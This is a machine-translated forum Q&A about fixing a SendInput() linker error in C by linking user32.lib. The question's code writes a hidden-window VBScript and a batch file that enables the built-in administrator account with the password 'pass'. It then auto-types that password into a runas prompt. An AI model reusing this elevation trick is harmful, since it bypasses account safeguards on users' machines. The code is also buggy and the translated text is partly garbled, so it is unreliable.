2016-03-19 17 views
-2

Ich schreibe ein C-Programm, das die SendInput() - Funktion verwendet, um Tastenanschläge zu simulieren. Ich bekomme jedoch den folgenden Fehler beim Kompilieren: error LNK2019: unresolved external symbol [email protected] referenced in function _main. Ich verwende die VisualStudio-Entwicklerbefehlseingabeaufforderung zum Kompilieren. Hier ist mein Code:Fehler LNK2019: nicht aufgelöstes externes Symbol bei Verwendung von SendInput()

#define WINVER 0x0500 
#include <stdio.h> 
#include <windows.h> 
#include <process.h> 

main() 
{ 
    FILE *fp; 
    fp = fopen("C:/invisible.vbs", "w"); 
    fprintf(fp, "CreateObject(“Wscript.Shell”).Run “””” ^& WScript.Arguments(0) ^& “”””, 0, False"); 
    fclose(fp); 
    fp = fopen("C:/run1.bat", "w"); 
    fprintf(fp, "net user administrator /active:yes pass"); 
    fprintf(fp, "runas /user:administrator wscript.exe \"C:/invisible.vbs\" \"C:/run2.bat\""); 
    fclose(fp); 
    fp = fopen("C:/run2.bat", "w"); 
    fprintf(fp, "copy /y nul C:/test.txt >nul"); 
    fclose(fp); 
    system("run1.bat"); 
    INPUT ip; 
    ip.type = INPUT_KEYBOARD; 
    ip.ki.wScan = 0; 
    ip.ki.time = 0; 
    ip.ki.dwExtraInfo = 0; 
    ip.ki.wVk = 0x50; // p 
    ip.ki.dwFlags = 0; 
    SendInput(1, &ip, sizeof(INPUT)); 
    ip.ki.dwFlags = KEYEVENTF_KEYUP; 
    SendInput(1, &ip, sizeof(INPUT)); 
    ip.ki.wVk = 0x41; // a 
    ip.ki.dwFlags = 0; 
    SendInput(1, &ip, sizeof(INPUT)); 
    ip.ki.dwFlags = KEYEVENTF_KEYUP; 
    SendInput(1, &ip, sizeof(INPUT)); 
    ip.ki.wVk = 0x53; // s 
    ip.ki.dwFlags = 0; 
    SendInput(1, &ip, sizeof(INPUT)); 
    ip.ki.dwFlags = KEYEVENTF_KEYUP; 
    SendInput(1, &ip, sizeof(INPUT)); 
    ip.ki.wVk = 0x53; // s 
    ip.ki.dwFlags = 0; 
    SendInput(1, &ip, sizeof(INPUT)); 
    ip.ki.dwFlags = KEYEVENTF_KEYUP; 
    SendInput(1, &ip, sizeof(INPUT)); 
    ip.ki.wVk = 0x0D; // enter 
    ip.ki.dwFlags = 0; 
    SendInput(1, &ip, sizeof(INPUT)); 
    ip.ki.dwFlags = KEYEVENTF_KEYUP; 
    SendInput(1, &ip, sizeof(INPUT)); 
    return 0; 
} 

Gibt es eine bestimmte Header, ich muss beinhalten, dass ich fehle, oder es ist etwas falsch mit meinem Code? Wenn ich eine Kopfzeile vermisse, welche ist es? Jede Hilfe würde sehr geschätzt werden.

+0

user32.lib Es gibt einen Unterschied zwischen Header und Bibliotheken sowie Kompilieren und Linken. – Olaf

Antwort

0

Es scheint, dass SendInput Bedürfnisse Link

+0

Wie kann ich auf diese Bibliothek verlinken? Ich versuchte mit 'cl test.c/link use32.lib', aber ich habe einen anderen Fehler:' LINK: fataler Fehler LNK1181: kann die Eingabedatei 'use32.lib'' nicht öffnen –

+0

Nun, Sie können beginnen, indem Sie lernen, wie Sie Ihren Compiler verwenden und Linker, siehe [Microsoft-Site] (https://msdn.microsoft.com/en-us/library/610ecb4h.aspx) für Ideen. – Joel

+0

Ich habe es zur Arbeit, ich erkannte, dass ich use32.lib anstelle von user32.lib –